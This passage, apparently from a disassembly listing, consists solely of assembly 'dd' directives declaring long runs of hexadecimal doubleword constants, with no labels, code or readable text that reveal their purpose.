601E12B6h, 9C86DDBCh, 0A388E064h dd 6D001E1Fh, 477B724Fh, 9A0683Dh, 0B96617FBh, 0E3E4853h dd 40BA1427h, 5E1BD7B0h, 1820951Dh, 5A7DAEFh, 0AC9BA929h dd 835D6B80h, 0FD77E2h, 5B487394h, 0B31BFF72h, 9129C927h dd 0B46D4E94h, 3C83093h, 0B6020B48h, 4A796353h, 0A088E469h dd 60AA80D8h, 54E47118h, 0F609B350h, 0F97E6451h, 39251FC0h dd 6B21F184h, 7D08BD05h, 9A44B0B9h, 6722A340h, 0E50012FEh dd 8431BF8Ah, 11C8117h, 0E18E73Dh, 0D01EB5D8h, 791F56E9h dd 7C965Fh, 0FD17A183h dd 1340A2h, 45CAA852h, 4CF05F18h, 0BF6F409Dh, 50111FA6h dd 0EF1B0F15h, 0CE1E5098h, 8F10EA00h, 98C87C63h, 0FA643ACDh dd 0CFB240E1h, 48719F9Ah, 0CA2F0B40h, 769D2493h, 0FA7100F9h dd 29BB9551h, 0E001DF8h, 90456349h, 0CAEDB6h, 0BC6D6E55h dd 9D47E921h, 78C60774h, 81EE1Bh, 5E2BDBDEh, 0BCDF89A5h dd 0B218E366h, 8DEF19B8h, 80C129F3h, 1DD6AE90h, 0CEFB26BDh dd 821E819h, 0F3F65DB7h, 94386862h, 0B44920FDh, 0CD028E50h dd 650CBCC3h, 8DE90131h, 4C088716h, 0F7D1BDD3h, 789DB43Dh dd 28A9F035h, 500FBD7h, 0A952CF3Ah, 15CA4860h, 0B03B7BD4h dd 738A0C80h, 0F178C304h, 0E06191E1h, 95CEE500h, 0DA9E920Dh dd 3200357Dh, 0D40C2EEBh, 183B93E6h, 0B14BCE25h, 77F89C07h dd 78D1F161h, 91802535h, 3BDD7C9Fh, 11053CE7h, 0DC315C45h dd 2AE2BC06h, 2928DC08h, 0ECD98070h, 0DF66DDA9h, 0BB605067h dd 11456940h, 0CC3930FEh, 1D8EEFB9h, 7D898CF7h, 0FEAB41EEh dd 4840777h, 90B656E0h, 92A5AEAAh, 8E55290Ch, 392C2908h dd 5200E097h, 14815474h, 0BEF2326Dh, 494A950h, 81ED99C8h dd 0E0C2E486h, 3AB0F350h, 4D0155F2h, 0C6D3058Eh, 8041B46Dh dd 3040158Dh, 2C554556h, 196A338Ah, 12E2219Fh, 0A968C02Dh dd 0E8510072h, 5EDC38Ah, 85729B2Eh, 0C9133C3Ah, 0EA457E2Ch dd 0F760E8A0h, 821CCCh, 7583880Dh, 0F2CABC15h, 50C1A61Ch dd 0C0041FD2h, 13001828h, 9BC332A4h, 0ABDDDC2Eh, 0FF302A04h dd 2BE55490h, 4D59C11Eh, 0A90AFC60h, 0E203A841h, 0B8DFB3C3h dd 0CE2B9Ch, 44B80F3h, 2F910F07h, 0E2306A61h, 499A13A8h dd 1FC10805h, 0E4082522h, 0D007B92h, 1E5F813Fh, 51A806A4h dd 1801E85Ah, 0A0231379h, 8110D818h, 0E300CBCDh, 0E7A2C071h dd 28BAD540h, 0A32786h, 7F0DE23Ah, 238570FDh, 9B69F701h dd 42ABA1BDh, 48F29721h, 667DE914h, 1134D81Ch, 0B4A0ED01h dd 0D91E8E26h, 0F864B857h, 1CC7E242h, 4EAEB822h, 0ED4A00B8h dd 66E33D67h, 0F81C8261h, 39DCE4C5h, 80C9120h, 0D88DEB8Ch dd 0C600D199h, 37865h, 0CDA36158h, 6331B5DAh, 444BFB01h dd 0BE74ED1Eh, 4849B186h, 18168997h, 0F21D5A96h, 900352D3h dd 28AB6F11h, 0C188459h, 47D8BD5Fh, 1900A8E9h, 7F2AFB29h dd 1310CBBh, 0C708B1EEh, 35535559h, 0F67C00B4h, 0E00CA8B6h dd 4051D920h, 0B40A847h, 594660CFh, 0D45C9FCBh, 8662E407h dd 31B13B37h, 0E441C401h, 0EC22C6E2h, 0F15CB800h, 0FFD682B0h dd 0C8473091h, 6BAE1C40h, 3F597ADAh, 0E700D72Ah, 4B29BDA2h dd 28920186h, 0F8954700h, 61B4106Bh, 0F8D89A7Bh, 1F5700B1h dd 0D28EB2D5h, 0D8A48A74h, 0DB3E44h, 0C076316Fh, 0F9755090h dd 9F969101h, 0FF5174CBh, 7EC2E9BCh, 0FA94E0A8h, 12D04988h dd 5E5E7EBEh, 27AD00B0h, 9831C78Bh, 0D8D12A75h, 320C87F4h dd 45C037Fh, 0BD75F0B1h, 0EB520085h, 4FF8318Ch, 0F483596h dd 65110A18h, 478AAC2Dh, 5F004492h, 29A3CB50h, 0B3103012h dd 0F999EEF1h, 57E299C0h, 15635622h, 0E8B0F6BCh, 0F8B84054h dd 0D7E93CC1h, 330D8A8h, 2E236CD6h, 0C4908AF7h, 8F58EEA5h dd 0F0148A60h, 0C0A09615h, 530C60B7h, 677500E2h, 9C442605h dd 4E13F619h, 24485293h, 71359F14h, 30E0F039h, 0B214B8C7h dd 6C3023h, 451A70C0h, 3034C5CCh, 83190835h, 71FA23A0h dd 0F06ED500h, 0C21C871Dh, 33B201B5h, 8E3C4D24h, 97498E11h dd 51BFC637h, 25572480h, 0BC68000Ch, 50B847A2h, 0ACF12C3Ah dd 11404C94h, 0A41EA670h, 7B2144F8h, 41A74600h, 8984F1B1h dd 946B09A3h, 0A820190Fh, 0EA7553D8h, 494C75Ch, 0F1C0BDF3h dd 0A6C00CC7h, 47AA394h, 0E2190EB6h, 207C89CCh, 4988C600h dd 2E3775A6h, 0CE2C4508h, 0B4C5B600h, 670E6BE8h, 6C8DAEE6h dd 4298410Dh, 0B95C13FAh, 8756F04Fh, 0B4BAAEB2h, 0C516044Ah dd 0CBB84020h, 0DD530726h, 63500Dh, 0F15D47D4h, 0CE0AF490h dd 1CEC91EEh, 86122A08h, 19F0A3EFh, 47635103h, 0E6939FE6h dd 60172E21h, 2C240002h, 0D0CEC3C9h, 2CDAB00h, 42180B8Eh dd 8DEE0213h, 3A631117h, 8A226844h, 48988123h, 0B201B423h dd 13B1F63h, 0FB0420CFh, 0CDC488h, 1AE13E7Eh, 0E586FFAEh dd 70ECC728h, 0A9C0397Dh, 7D0AF4B2h, 4D740083h, 0A409051Ah dd 0D8E3F5AEh, 4532477Bh, 0E48DF8FBh, 87514h, 6DD6D163h dd 8F6446F2h, 0CAE49B01h, 0BA04FC4h, 6E005C62h, 0B7F61762h dd 3904D81Ah, 98610A73h, 0A638BCC7h, 7131174h, 9900A20h dd 3EDD120h, 7AFC00E2h, 7F2B9732h, 83031A7Bh, 0F1B9BDFBh dd 0E24014BCh, 0A0584CB1h, 4DAF0CCFh, 0A1DB1B20h, 7B041FB5h dd 0EF61B051h, 7809F8C5h, 4084122Ah, 4C2BDA7Ch, 12C0E42Eh dd 0C4D542Dh, 0C364E707h, 85091C4Fh, 5C019F34h, 0ACBE646h dd 30E5FEE0h, 0EF5198ADh, 49D3E8A5h, 0BCFBC430h, 48A1071Ah dd 70060347h, 0D93050D1h, 0EA2F4101h, 5EC86701h, 2411F042h dd 4234881Bh, 0F200D779h, 3E1F35F7h, 4C521B0h, 92BCA925h dd 1140D084h, 93E9336Ch, 0E81CB1A1h, 0B433C452h, 0AD44B4B2h dd 0B48F23ECh, 53F03053h, 0B60437B4h, 7BAFBF8Dh, 631F21C2h dd 30CB8038h, 2F54B032h, 83D6B114h, 20F24130h, 0C7E60055h dd 0ED1DEF51h, 35762610h, 0DD1BAC09h, 989882B3h, 0C8D124E2h dd 3B007DACh, 0C2F58813h, 0E477EE14h, 0AA504E1h, 0B4DAF002h dd 22004688h, 98069E0Ch, 78EF5E7Bh, 0C9E600CAh, 5BBD2C91h dd 44B986EEh, 4E82A891h, 6CE1BEA0h, 945192A2h, 0B5260C90h dd 0E7AA008Bh, 89DD85E3h, 203EA699h, 7828D0BFh, 8315053Ch dd 0C3D019ACh, 28E8BB59h, 248D40h, 0F3B15668h, 77A5922Fh dd 0B7AB220Bh, 8B8000A3h, 13C1473Fh, 4BF6303h, 0C8984848h dd 0FDF0C3A4h, 100A1F30h, 0A8F0B005h, 3B1BC2E4h, 0DB12B4ABh dd 886012A7h, 21090504h, 1F9AAB6h, 0FD984760h, 0E03051BCh dd 3E3AE4B9h, 9C9D3F00h, 66F03591h, 360516BDh, 21EC1787h dd 0E4A49778h, 0A009A84h, 1AFAA8ECh, 24B27A01h, 900566Eh dd 0C09026B8h, 0E57F5989h, 6CA14500h, 9CACE42Fh, 260B0439h dd 88DBABC2h, 0D80FEC28h, 0E9CDBA50h, 42480984h, 24C0C6D4h dd 47508AEBh, 4497F2C8h, 45296482h, 0B08CE100h, 0C1F641h dd 0CFC5C07Eh, 0B57F4B66h, 0BCC7E901h, 371B5335h, 72F83180h dd 0A9B22762h, 0DC5F0938h, 2A1F007Fh, 0ACE631B0h, 353E2ED2h dd 69EE026Bh, 79C0D0A3h, 0B109F9EDh, 688E533Ch, 924164h dd 8A9FAACFh, 845E42D6h, 67A05107h, 1030BA56h, 4CC546D9h dd 4E8024E4h, 985778F0h, 0BA34B16h, 5C423812h, 7237A5F5h dd 1C790094h, 911A0563h, 0F47002B8h, 228D8501h, 6531C628h dd 0B28C59D0h, 0F6EB2200h, 0F00788F0h, 8E3F097Eh, 90A93Ch dd 791F48A7h, 0BA73333Bh, 1B514000h, 9286C33Eh, 6529C0E3h dd 9BF4936Dh, 0EA392800h, 0A7DCD958h, 2AEB1E73h, 0B28979CCh dd 281034A5h, 9F0030EDh, 0AF459AF3h, 0D0D5BCh, 915895F9h dd 13504FA1h, 0CBEB3514h, 48D889E4h, 0ED4E78h, 6F43077Ch dd 695E3EA9h, 80C97A17h, 88106030h, 222E00D8h, 0A1D446F0h dd 0F13F3E05h, 9F2D0191h, 0DF20AC90h, 5CD1EC21h, 328EEF11h dd 24385828h, 0A347A890h, 0A962AA40h, 0BFA524E8h, 911C18FCh dd 0A80031CCh, 119F2C27h, 589C47C7h, 604AE0ABh, 1C93780Ch dd 0EDA0E002h, 8154A8Ah dd 0BA59816Ch, 0D4A09195h, 5E00B8DAh, 0F5127DC8h, 0A0FB99E8h dd 59074Ch, 45BCB0AFh, 572C53C9h, 190FA5Dh, 0DCE18BD9h dd 34C806A6h, 7CF54990h, 81F83622h, 606B7E01h, 79BB1423h dd 85F3C8h, 626ADACFh, 3ED66D64h, 1190C1D0h, 0B80C12B4h dd 0D8582D5Dh, 0C0294584h, 863DF00Dh, 739980C7h, 0E0B1E89Bh dd 69F301D3h, 57F27129h, 8892E659h, 68469409h, 0B81F1D28h dd 27E86E48h, 0EF18117Dh, 49DE8C28h, 0F4E490E8h, 0F6BFCE2Ch dd 0C31AB401h, 184C8E6Eh, 163CB0A6h, 1DF67B73h, 0C31B8558h dd 623007D9h, 9631979Ch, 2B352008h, 848C990Ah, 28FE11h dd 0B46247CAh, 0A5C8A3E1h, 5AD1951Eh, 0B0785018h, 6C9977h dd 0F696168Eh, 6BEC28E1h, 0EA3B51C0h, 3E0B57h, 8C824F04h dd 0EEA631FEh, 3CF88A24h, 58269C64h, 1175F39h, 8D1AA46Fh dd 0B1C8C046h, 7140B0F1h, 3C70F3A1h, 1FB026B8h, 47500FCh dd 0F2770157h, 5E3CD818h, 0B0D08h, 6C564910h, 1CD30AA4h dd 5C8D9E06h, 320E3BDh, 0C8EAF477h, 0E0D0DC5Fh, 4100B20Fh dd 0A2FEA4EDh, 30527720h, 49590AF0h, 450161F8h, 78A8E1B8h dd 81C02A4Bh, 55A000B7h, 7E119779h, 0AE068569h, 703C7357h dd 768D0089h, 0E205EDE5h, 323DADE3h, 35278FAFh, 0F21F10DEh dd 1E6180E0h, 166B064h, 0F5843D00h, 0E73CE3E4h, 1B48C0F4h dd 0A0528BF1h, 0E0F51176h, 42381A86h, 0DAC480C1h, 21209DE6h dd 54050C5Fh, 638D688h, 0F1F9F131h, 43EE6FEEh, 3079F60Dh dd 88E105E5h, 0A00D77Ch, 8BB09FC3h, 60DF6E92h, 0B26529D9h dd 0AC03D0AAh, 58025085h, 25391F17h, 0D1B5EE7h, 0F0697A72h dd 1F032E7Ch, 540158F7h, 0EF192E14h, 4BD0CC6h, 0B31D5211h dd 450038EEh, 7F4EFF3Ch, 0E85B0A55h, 42E43F04h, 2C807472h dd 0D309E129h, 0E03F1715h, 9945008Ch, 0C03287EBh, 0B2191DD2h dd 7B14002Ch, 94815FBAh, 0E0A3F8C0h, 71CE51Eh, 0B72655D7h dd 12F00D5h, 0D6B8C482h, 49B6F11Eh, 45553540h, 72B7E744h dd 65DF0185h, 0FDB9F53Ch, 3422E5h, 0B85B2999h, 3131FF9h dd 0A956C022h, 54C8B3A5h, 6188579h, 27B9DBDCh, 173600AFh dd 380B08D3h, 84007360h, 0E19FDCFh, 0C4C2A54h, 144876E7h dd 909D1E9h, 21DC6302h, 0BDD0624h, 90DF8452h, 93B41E0h dd 60D4F9A6h, 332A8F00h, 260F38FEh, 87B8547Bh, 1C2A4A06h dd 0D7074820h, 0F11941A0h, 0A72E17E0h, 43A90012h, 0DE8276A6h dd 109216C9h, 0D91F44h, 3DF13C11h, 0D5C9C5ADh, 1B34B348h dd 92A140CCh, 352220Ah, 74841C80h, 14000708h, 0CCAC7322h dd 3ABAF1h, 8DF8C1EEh, 0DF92EC9Ch, 0B05F3C39h, 0AA45A1D2h dd 0B68E0F0Fh, 0C5AF5717h, 0A85538E0h, 4D163C6Bh, 190C063Bh dd 48573061h, 0E980D403h, 8684F41Eh, 1C915013h, 0EB3200A8h dd 0F8901F59h, 0B93AACB4h, 76A0007Ch, 5271E890h, 83BF0742h dd 0F6B76266h, 0C600D107h, 36358948h, 4C76270Fh, 0A103105Bh dd 8E7E986Fh, 178022h, 0E5DEF1BBh, 0D5FA4749h, 0C054FD29h dd 2D95B60h, 238400E2h, 0A70E29D7h, 0D61CF4A9h, 95132B72h dd 0EEF00020h, 38ED61F9h, 93085A05h, 491B0669h, 1463E159h dd 0F9DE0C41h, 57A7EF10h, 1893B891h, 69515301h, 50CC2698h dd 0DC5501C4h, 0FCED950Ch, 864E607h, 0B0CA3C24h, 7F211281h dd 6FEC47A0h, 0ACF701A2h, 0DED7157Bh, 0C8D180C5h, 72D407BEh dd 24B509D8h, 0E0113EBFh, 8A6AF45Dh, 8CBD6000h, 8DD930DBh dd 9D32906h, 48EC118Ch, 0AF6700ADh, 1D19F553h, 89EE03E4h dd 0EBA25047h, 5728797Fh, 7500D48Bh, 0B83511D0h, 60A9B429h dd 8AF251DEh, 83264594h, 0E4248893h, 50011F11h, 29A1CFDCh dd 979FFCD2h, 0D524AA01h, 0D657761Ah, 0F9927561h, 486821B8h dd 6EC7CC91h, 0D0BE4600h, 1284329Ah, 507A0059h, 8F5C1762h dd 0CFF2BAF6h, 0E3DF721Dh, 4BA00Bh, 82BC980Ch, 0AD7300B7h dd 2E28C367h, 5BB0F171h, 990B0330h, 8D2386h, 1CE83875h dd 2E2751E1h, 0DFBE5209h, 4A5C06F1h, 47773B99h, 0A843B780h dd 0FDB80ADDh, 4A872900h, 5F2BCBD1h, 3044E2EBh, 0C83181BDh dd 0C703978Eh, 4BA22F58h, 8D9981DFh, 855C60h, 2CAB020Fh dd 0BC644535h, 98724024h, 8560A80Eh, 0E420713Ch, 63D668h dd 0DC095E8Ch, 0E788D284h, 3212F5F6h, 5807D956h, 960387ADh dd 7D00D7B6h, 0C008B9C3h, 0AE8BB589h, 8801E1EDh, 0EB170A02h dd 0A280FAB4h, 0BB6D15BCh, 9C992010h, 0C906580h, 0ECE76896h dd 87700083h, 4FA8FF23h, 730051DAh, 0EB5EACBAh, 3AF2478Dh dd 520FAAD5h, 29807020h, 0A1AD9436h, 1492B426h, 60326602h dd 66604AAAh, 0F81800C0h, 28B7FFA3h, 1F00AED2h, 8DC13F8Eh dd 0E8EC2016h, 0EF0B0519h, 0C8560149h, 0D060DF20h, 0A96AB841h dd 25AF00ABh, 285A7A36h, 6C9187E7h, 0D199DB05h, 7E72E044h dd 187848C8h, 51F6B9F3h, 2A19584Ch, 72A0CF5Fh, 0E512D1FDh dd 29007064h, 236C39BCh, 3117EBFh, 7F56AC28h, 6103C92Bh dd 54E1E017h, 735AE0BBh, 45071ACFh, 40C04119h, 0A1078676h dd 3C60574Ah, 7C380556h, 20C904D7h, 0C38272F4h, 9971FA5Ah dd 0CCC6E500h, 85B4C051h, 0D0032C55h, 5774804Ch, 0CBB9BCB8h dd 408A2A09h, 50C4002Ch, 3E616D3h, 6F0B4270h, 91828357h dd 0FB895C40h, 1906E4Ch, 0CDEABE78h, 5A78B9A7h, 0F18DB700h dd 55372BFh, 0B8685930h, 2CB81BEBh, 833008FEh, 0E1FC276Bh dd 0F2113Bh, 1DEB82B9h, 4196C9h, 0AD7EBA69h, 0F0EA2BD6h dd 7328F898h, 0E548187Ah, 723183BCh, 0F33890B7h, 74C90C18h dd 998A0920h, 0B8F0BB50h, 3F38F8A4h, 51D9006Eh, 74B57885h dd 0D33004FDh, 0C5B449DBh, 3F18C863h, 0CB22F100h, 0CA558742h dd 0CCEA80FDh, 44DED128h, 4E155D1Dh, 46F6DC00h, 53402F5h dd 0AE350E6Eh, 289C058Bh, 0F54488BDh, 467CAC00h, 9C14A72Ch dd 96FF005Dh, 13A39079h, 0E9A232B5h, 3C070889h, 9331A150h dd 4062B8h, 0FA575A3Eh, 1EBB598Dh, 0F8A489h, 2033AA1Ch dd 78015105h, 5855A0CEh, 0CDDCF137h, 0EAF00372h, 4B089BDCh dd 0E846B7CAh, 686E370Bh, 0ADC68076h, 1382DC81h, 9E7CBCh dd 708CD699h, 40B1B9C9h, 532A000h, 742EFD7h, 5D01838Eh dd 0AE3EE0B6h, 7B29728Dh, 411D0C7h, 6F615800h, 0BDD7B5BFh dd 0C666B00h, 0B2C9DCFAh, 0BCF059F3h, 835B9C4h, 88FE1060h dd 41559CE3h, 0A8505A09h, 1CE4C0DBh, 0C9A6D719h, 0B010E2D8h dd 31741B6Fh, 0E0990500h, 0CBFEC325h, 4FC0203h, 9ED64DA8h dd 0A312F052h, 8822F04Ch, 0BD06C0DCh, 280600DBh, 0CD0A6458h dd 0A900F50Eh, 0F3E38EB8h, 9AB7F007h, 560618ACh, 0EFEA79F7h dd 78E74D0Bh, 60E82191h, 0FC60B581h, 3061D2D2h, 1C2944C8h dd 3600BC7Bh, 222A12EBh, 0B6F49EEh, 3F8AD64Bh, 10076411h dd 3BB3DDA4h, 2C775562h, 0E769E1h, 230CBD73h, 38CC6E40h dd 26726165h, 4A54ED7Dh, 6E5E2DCh, 0F1C0BCA0h, 0C403A66Fh dd 0C8BC18F4h, 429EB863h, 84E491A1h, 0CC40C354h, 0CE3E8040h dd 1D58187Ch, 34DFBF49h, 85088DD1h, 0F0D4807Dh, 0D4678BDBh dd 9B0029C9h, 5DCC0B7h, 4D02F28h, 6200056h, 0F312F182h dd 45008F7Bh, 279A5F6h, 28DEAC24h, 34A0FCDDh, 14AA9EDBh dd 9CDF8CA0h, 810C00D3h, 1E51EA15h, 1BDF93Eh, 1FEE5EDAh dd 8828D7DFh, 0B47C16h, 0D9C3616Ch, 2C587F55h, 487332C0h dd 0B7BC4057h, 5A400034h dd 0DDCF35A2h, 0F02A50D1h, 0B100E0D3h, 1EF75DA4h, 92BB0Bh dd 3C7C34Bh, 97B7B674h, 847BD41Ch, 9C30AD92h, 0F0C88F2Ch dd 2F7403EDh, 10E4F00Ah, 0B4A02EF3h, 11348A0h, 0F8018AC9h dd 8B53355Ch, 3B106DCh, 4F86FC0Ah, 0F1CA8578h, 403EAC46h dd 70423C8Ch, 9E8F1600h, 506D2706h, 167CEA3Ch, 5B8A84Bh dd 88607260h, 8D017874h, 17C6B0FFh, 90DC2AFBh, 4D792272h dd 0C93C7811h, 0AEE66902h, 9041DE57h, 48208007h, 9468C62Eh dd 36411CA9h, 7C0540B8h, 903F9382h, 0CC127CB0h, 0ED005527h dd 6A1C9935h, 64480029h, 6F07E433h, 0EF00196Ch, 4CF63C56h dd 0C36A2EDh, 0D25558BAh, 43602529h, 8F4C3A08h, 50033A7Fh dd 4EF78300h, 0B510C0A0h, 8E39A807h, 8649DD90h, 305854h dd 6122A148h, 5BC8726Eh, 1D060400h, 891279D1h, 73D430CBh dd 3DB15929h, 0E89A71C0h, 602283E4h, 0D88A7951h, 11007D96h dd 69FDED73h, 0F7545Ah, 37A059AAh, 3BC39280h, 43BC40D6h dd 58BE3200h, 891468AEh, 47782A01h, 1809232Bh, 0C06BE0C0h dd 0C7F10479h, 0F572831Eh, 0BB55DE17h, 1810FA10h, 64083093h dd 0B1120188h, 1DEDCFC9h, 8B5FF0B9h, 4C8C6503h, 1CD4D847h dd 0C3C67A81h, 5FA83073h, 30A6C158h, 9DD3494Dh, 0C3DC05E9h dd 55DDBCCh, 0C0BEB544h, 14BAF494h, 0C7D2F103h, 0AC9A915h dd 44B05990h, 0D1CB8690h, 6818396Ah, 2019426Dh, 0F6993A93h dd 0CFC07100h, 7F045F9Ch, 0B5C6A300h, 93D34978h, 8F9801DAh dd 0BD37BE9Fh, 903CD0AEh, 0E54CD770h, 9A7D3D87h, 8C04C44Eh dd 154120FBh, 18480D13h, 6DC07000h, 2D575483h, 0C2431D02h dd 9FA027h, 8C9E607Fh, 0C164600h, 15FCADC8h, 0D994037Bh dd 0ABBDCE27h, 0B994900h, 47D4DAA2h, 62D202C2h, 0A31A26F2h dd 0D0801408h, 5F98BB5Ch, 1EA21FE8h, 9591BE84h, 794229Fh dd 7AD99603h, 0BB9C9087h, 260079B4h, 0BFF74C66h, 194ECE8Eh dd 39B227C1h, 90C1097h, 5DB500F4h, 82713D01h, 1036CD8Ah dd 0F9382162h, 0F879FD0h, 115A99FCh, 77CBC07Fh, 7014FA6Fh dd 261CE20Eh, 2B9F41F1h, 308F40CCh, 0A918245Eh, 8E00480Bh dd 1244F781h, 7265D5F2h, 479C0AD8h, 682704h, 2C2CE4Ah dd 5EE22118h, 0EB167803h, 0B0702EB1h, 1844DA72h, 319CC2BDh dd 0A9C096A8h, 0C61C1830h, 985F0F7Bh, 401FD501h, 8A6661F2h dd 6E014558h, 0DA96A339h, 40948B23h, 0C9392427h, 76EA3607h dd 0DF0730CCh, 0C1007711h, 6028D110h, 78F2F30Eh, 0F9A70247h dd 5AF50CCCh, 0C6CE8C83h, 499F8000h, 0C46EC82Fh, 931E0C13h dd 0BE18E942h, 0A9549C54h, 775C6B00h, 75D90CFFh, 64F81C23h dd 474E43D4h, 291F60BDh, 5C1C17Ch, 0A80671D5h, 0EAAA30FCh dd 1FDD0098h, 0BC790985h, 0ECA0CB8Eh, 6189AF52h, 0DA944010h dd 850505B0h, 8D418E57h, 47389E0Fh, 9DC0DFCDh, 0C4C5FD3h dd 0CF273A3Fh, 68A5148h, 15D9C2E4h, 9491C0BDh, 0EE26337Ch dd 40B03E19h, 0D36ADB8Fh, 76084E9h, 3ACC3Fh, 0BF61EE5Bh dd 0AA40D389h, 13387D00h, 0F125326Dh, 0CC1048CCh, 5C8BB2Ah dd 37D60F9Ch, 78F2C0CDh, 0B63CA6BCh, 4F6160E0h, 1672C4DDh dd 0AF83F319h, 23383001h, 40207F56h, 2B8A08AFh, 2788420Ch dd 32A18E96h, 9147BBC1h, 70006003h, 2769A400h, 8372A752h dd 7774046Bh, 905F5EA5h, 10330BB4h, 9FF7CF1Fh, 79410A7Ch dd 2606984Fh, 28A0BA20h, 209CFE8Eh, 3008A5C8h, 73D6BCDh dd 30C2E7BAh, 0BF3E8194h, 79B67024h, 5180C300h, 0C9388BEh dd 0D0E735ADh, 2A0033E1h, 1A8B1B8Fh, 5C20D8h, 0DCB531CEh dd 5308FD6Fh, 0FCA0C673h, 0CCA1B0F9h, 8D798204h, 82CAB426h dd 223FD9DCh, 182983C2h, 16994060h, 87BBB9h, 666410F4h dd 4E300CCDh, 5F8220BFh, 0D760C9Ch, 0F39947E1h, 808CA73Ah dd 4273C450h, 1A330A0h, 0B378DED9h, 808827C6h, 91AF8069h dd 5030E0h, 17322052h, 0E7319D4Eh, 5F76900h, 1FFD2FC4h dd 0BC5F26AEh, 0A5F00947h, 24D8AC03h, 90B9C022h, 2E954420h dd 0E993CF00h, 0D01C8822h, 0C02600A2h, 0F0AE6F57h, 0CCA0A43Eh dd 0B8008682h, 45E0C65Eh, 0DC92BCBDh, 5915CA41h, 0A5F28ACCh dd 70E714F0h, 4E97980Eh, 0DD6DFA60h, 0B248BFF6h, 332A223Ch dd 0CDA4A8EBh, 0DDE89CE3h, 0BC24B5DAh, 0BE88640Ah, 318218CFh dd 0CCAB05CDh, 0A880B7C2h, 43344C62h, 2DA0C5Ch, 0DB935C9Eh dd 4410662Ah, 0CC1E98ACh, 41182C0Ah, 28E9A35Eh, 71B481ADh dd 0E452934h, 0C88FBE8Ch, 0E820061Ch, 52DBF92Dh, 6B04AB7Eh dd 4B6A5107h, 70EE3200h, 5840920Dh, 306444AAh, 76BCE22h dd 2D9743BBh, 8E51B0C1h, 3E001E4Ch, 77A53454h, 665B42Eh dd 271104EFh, 14004184h, 0A53812ABh, 1F90971h, 0D2F0B182h dd 0F01B2D25h, 0D9DD1A9Fh, 0F146E74Ch, 9BA800C6h, 37AFE307h dd 2518D91Eh, 318955CDh, 278F007Bh, 290BFB45h, 32F63EF2h dd 493F5A32h, 83F720D1h, 33DF646h, 5BB5800Ch, 8DE55A85h dd 539D013Ch, 3218996Dh, 0D461D6BFh, 3F082227h, 0F7F40248h dd 667E3A5Fh, 0D79B0014h, 11A518AFh, 5F001CE1h, 0CAA921F9h dd 7723F4h, 0BF42E03Ah, 44EEF765h, 0B2698D02h, 812C9FECh dd 854DBD60h, 5E41518Fh, 0A4F1491Dh, 4096C424h, 3D67AA5Bh dd 0CF140018h, 6F03467Ch, 853BD98Dh, 70E81708h, 0F7AE1800h dd 542C8A8Fh, 185EA4C3h, 49A61FCDh, 3A2C15E9h, 0BC397CC9h dd 2D368D05h, 31803C87h, 96712117h, 801E119h, 46FB5D0Fh dd 4DDCE472h, 34AE246Ah, 30C21490h, 318EC900h, 5893C72Eh dd 0D457FDEFh, 0D9C4023Dh, 28C91DCDh, 913E6D60h, 18802464h dd 84F249C5h, 0BCA27498h, 44AF5C24h, 70872D94h, 35214DA6h dd 804944E7h, 0BF4D7E6h, 95AE6603h, 32B13802h, 0CAE8A339h dd 5CC4A043h, 80001E92h, 0BDA73F73h, 3C19CBC1h, 27E6370Fh dd 1C001189h, 24153D21h, 1ED77A1h, 0F9FEF198h, 60919755h dd 849AD5ECh, 83413F04h, 2836182h, 0B47010DAh, 6CD128Fh dd 4271F027h, 0DAEC847Ch, 0A637269Bh, 716A1BCCh, 0ECA4C9B5h dd 1F007CA0h, 0F0D1B09h, 50C956Eh, 49FBFEDBh, 0D847804Eh dd 8061730h, 64A869Fh, 3F984468h, 0AF002EE2h, 3D60277h dd 13C778DCh, 20E7B25Ah, 0CA707324h, 0F6F4DDFEh, 7B229826h dd 8AB4B507h, 0B4225155h, 986720D3h, 38032373h, 3EFDBCD9h dd 15C1F8B8h, 0E62E0393h, 497ECEDAh, 7662D2C9h, 954476BCh dd 85370035h, 0E0AACE32h, 280106D8h, 1EAC8E4h, 0B2F06808h dd 0FD9CA33Ch, 0C83BF020h, 23ED0032h, 7CCAA8FBh, 0F88BACBDh dd 83D5461h, 8C24E748h, 25319C00h, 137574DEh, 960F5Bh dd 99C97C64h, 9C1742A3h, 6416BE83h, 8F97F044h, 0E5808748h dd 0A8CFC7F7h, 2C135DA1h, 36288C5Ch, 891D79D8h, 40331298h dd 0B0813934h, 0F3A11F87h, 0CDC1B1E0h, 3B64220Bh, 3CB87A3Fh dd 0C900544Ch, 0FC001698h, 9460E6Bh, 407E2ED8h, 0A150F1Eh dd 0A7009FE1h, 0D2375444h, 0B126E7ABh, 0E1807A8h, 9BB780FDh dd 0D212B0C6h, 7C20BF6Bh, 0B0EB0333h, 4311C076h, 0EACFC9D3h dd 2E2FCC1Eh, 0BC07C2Ch, 96B1FA27h, 59C0C000h, 8E020C22h dd 0BAB88BB5h, 0E660CC25h, 87851375h, 9DA00894h, 0DE698480h dd 27FE321h, 18030C3Dh, 98E3354Eh, 608028A2h, 0AEDDA55Fh dd 0EA8E8502h, 66198AB0h, 0A668C834h, 475F3F8Fh, 9D52D70Fh dd 0B3C0DD56h, 0C060CE58h dd 15A41631h, 0F18200B0h, 9D3DA7B1h, 5F044730h, 0BDA55AC4h dd 0F8CC58C4h, 0CEE78866h, 4CA90A8h, 2832AC00h, 29C764ADh dd 0E2070138h, 940EC0B2h, 86E7E0B6h, 3C106899h, 7D00C722h dd 3360A0FFh, 30F0078Ch, 2929CCE7h, 4F01BFBBh, 0C3111354h dd 0B9C84E6Bh, 38AD1F68h, 85AF827Ch, 0F040948Ah, 8C962707h dd 0A7D10A80h, 8EED5Ah, 0FF0EB2CCh, 0EBCF8318h, 24C0933Ah dd 9712BCACh, 7592828h, 411DC79Ah, 98503036h, 0C0008E9Ch dd 8A1FE593h, 24994933h, 80006CA8h, 0F9BF75A3h, 0F8B8D015h dd 0CEAC51E9h, 36945068h, 140385A5h, 0AC33C88Fh, 9162A822h dd 0BB7D0153h, 11CDEBBCh, 0E7D8485Fh, 7C802B54h, 36123900h dd 0AB9C4903h, 2F8301A9h, 640F9EE1h, 503888CEh, 2A81B8EEh dd 497ADFFDh, 782DA8h, 730A2D61h, 7A7C0EEAh, 514E0001h dd 851C5639h, 0D8B99D29h, 78D0BA80h, 2CA8B328h, 2C3C94D6h dd 3A9B0674h, 8550E116h, 74027C54h, 2778B8CFh, 0A4926Fh dd 0B54063Ch, 953000EEh, 41DC26E1h, 1301ED72h, 0CB2048C2h dd 0B9E88642h, 540BA1Fh, 0D605AAF6h, 60B48637h, 4CD8C902h dd 0E082F831h, 58819CD0h, 8F22448Ch, 65E82501h, 5F584A3Bh dd 